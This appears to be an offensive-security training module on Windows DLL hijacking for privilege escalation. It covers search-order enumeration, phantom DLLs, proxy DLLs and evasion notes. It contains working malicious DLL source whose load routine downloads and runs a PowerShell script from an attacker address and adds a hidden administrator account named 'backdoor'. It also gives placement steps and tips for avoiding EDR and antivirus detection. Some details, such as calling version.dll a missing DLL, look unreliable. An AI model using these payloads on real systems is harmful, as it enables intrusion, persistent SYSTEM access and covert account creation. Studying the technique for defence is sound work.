Back to All Modules

DLL Hijacking

#Overview

DLL hijacking exploits the Windows DLL search order to make a privileged process load a malicious DLL from a location the attacker controls. When a process loads a DLL and the attacker can place a malicious version earlier in the search order, code execution in the privileged process context is achieved. This is subtler than service binary replacement and often survives reboots.

#Prerequisites

  • User-level shell on the target
  • Process Monitor for identifying missing or hijackable DLLs
  • gcc/MinGW or Visual Studio to compile malicious DLLs
  • Write access to a directory in the DLL search path

#Detection & Enumeration

#DLL Search Order (Windows Default)

The DLL search order for a process:

  1. Directory from which the application loaded
  2. System directory (C:\Windows\System32)
  3. 16-bit system directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. Current working directory
  6. Directories in the PATH environment variable

With Safe DLL Search Mode enabled (default), the current working directory moves after System32.

#Using Process Monitor

rem 1. Launch Process Monitor (procmon.exe) as Administrator is ideal
rem 2. Set filters:
rem    - Process Name contains "vulnerable_app.exe"
rem    - Result is "NAME NOT FOUND"
rem    - Path ends with ".dll"
rem 3. Start the vulnerable application
rem 4. Look for DLLs that are searched but not found

rem Focus on libraries that are:
rem - Searched in writable directories (user profile, app directory)
rem - Not in System32 but in application-specific locations
CMD

#Manual DLL Search Path Enumeration

rem Check PATH for writable directories
echo %PATH%
rem For each directory in PATH:
icacls "C:\SomeDir"

rem Check application directories for DLL loading
dir "C:\Program Files\VulnApp\*.dll"

rem Check writable directories
icacls "C:\Program Files\VulnApp" | findstr /i "W F M"
CMD

#Phantom DLL Hijacking

Phantom DLLs are DLLs that older Windows loads by name reference even though the DLL does not exist:

rem Common phantom DLL targets:
rem - Windows version-specific DLLs: version.dll, userenv.dll
rem - API set forwarders that don't exist as files

rem Check if a phantom DLL exists by searching for it in System32
dir C:\Windows\System32\version.dll
rem If not found, any application that loads it from a writable location is vulnerable
CMD

#Exploitation / Execution

#Creating a Malicious DLL

// exploit.c -- compile with: x86_64-w64-mingw32-gcc -shared -o exploit.dll exploit.c
#include <windows.h>

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Spawn reverse shell
        system("powershell -c \"IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/rev.ps1')\"");

        // Or add admin user
        system("cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add");

        // Or spawn cmd as the current process user
        system("cmd.exe");
    }
    return TRUE;
}
C

#DLL Proxy Technique (Forward Legitimate Calls)

For DLLs that the application actually needs (not missing ones), forward calls to the original DLL:

// proxy.c -- proxies calls to the original DLL renamed to exploit_orig.dll
// Compile: x86_64-w64-mingw32-gcc -shared -o exploit.dll proxy.c

#include <windows.h>

// Declare forwarded exports to the original DLL
#pragma comment(linker, "/export:OriginalFunction1=exploit_orig.OriginalFunction1,@1")
#pragma comment(linker, "/export:OriginalFunction2=exploit_orig.OriginalFunction2,@2")

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Malicious code here
        WinExec("cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add", 0);
    }
    return TRUE;
}

// On target:
// 1. Rename original DLL: ren exploit.dll exploit_orig.dll
// 2. Copy proxy DLL: copy proxy.dll exploit.dll
// 3. Restart the service/application
C

#Exploiting Writable PATH Directories

rem Check if a DLL-loading application searches PATH
rem If C:\Users\Public\Documents is in PATH and writable:
icacls "C:\Users\Public\Documents" | findstr /i "W"

rem Place malicious DLL there
copy exploit.dll "C:\Users\Public\Documents\version.dll"

rem When a privileged application that loads version.dll runs,
rem it will find our malicious version before the real one
CMD

#Common Missing DLL Targets

rem These DLLs are commonly searched but missing in Windows applications:
version.dll     # Many applications load this but it may not exist in all Windows versions
userenv.dll     # Legacy applications may search for this
propsys.dll     # Used by some installers
iertutil.dll    # Internet Explorer utilities
cscapi.dll      # Windows client-side caching
mpr.dll         # Multiple Provider Router
CMD

#Windows 10/11 DLL Search Order (SafeDllSearchMode)

With SafeDllSearchMode=1 (default on Windows 8+):

  1. Application directory
  2. System32
  3. System directory (16-bit)
  4. Windows directory
  5. Current directory
  6. PATH directories

With SafeDllSearchMode=0:

  1. Application directory
  2. Current directory ← moved up (more vulnerable)
  3. System32
  4. System directory
  5. Windows directory
  6. PATH directories

Check/modify: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

#KnownDlls Registry Check

:: KnownDlls — These DLLs CANNOT be hijacked (protected by the OS)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
:: Any DLL listed here is loaded from System32 regardless of search order
:: Always check KnownDlls before attempting DLL hijacking
:: Common protected DLLs: kernel32.dll, ntdll.dll, advapi32.dll, user32.dll
CMD

#Phantom DLL Hollowing

:: Phantom DLL hollowing — Load a legitimate DLL name that doesn't exist
:: Some programs reference DLLs that aren't present on the system
:: Place a malicious DLL with the missing name in the search path
:: Check for missing DLLs with Process Monitor (Sysinternals)
:: Filter: Process Name = <target.exe>, Result = NAME NOT FOUND
CMD

#Common Pitfalls

  • Safe DLL Search Mode (enabled by default) moves the current working directory lower in the search order
  • The DLL architecture must match the target process (x86 DLL for x86 process, x64 DLL for x64 process)
  • DLL proxy forwarding requires knowing ALL exported function names -- missing exports cause crashes
  • Some applications verify DLL signatures; unsigned DLLs will be rejected
  • The malicious DLL is loaded once at process start; if the service doesn't restart, the DLL won't be loaded again
  • Process Monitor requires local admin for kernel driver -- run it on a VM or developer machine

#OPSEC Considerations

  • Process Monitor (procmon.exe) requires loading a kernel driver -- highly visible to EDR.
  • Placing DLLs in writable directories is common but DLLs with shellcode are signatured by AV.
  • The DLL proxy technique is stealthier than direct payload DLLs -- the application continues functioning normally.
  • DLL loading is logged by Sysmon (event ID 7 -- Image Loaded) if Sysmon is deployed.
  • Phantom DLL hijacking with version.dll is a well-known attack vector and may be monitored.

#Post-Exploitation Value

DLL hijacking provides code execution in the context of the process that loads the DLL. If the process runs as SYSTEM (common for services), immediate SYSTEM access is achieved. The technique is persistent -- the malicious DLL loads every time the process starts, surviving reboots.

#Cross-References

#Tool References

ToolLink
Process Monitorhttps://learn.microsoft.com/en-us/sysinternals/downloads/procmon
MinGW-w64apt install mingw-w64
Visual Studiohttps://visualstudio.microsoft.com/

#Source Machines

  • Generic Windows - Common DLL hijacking via writable PATH or application directories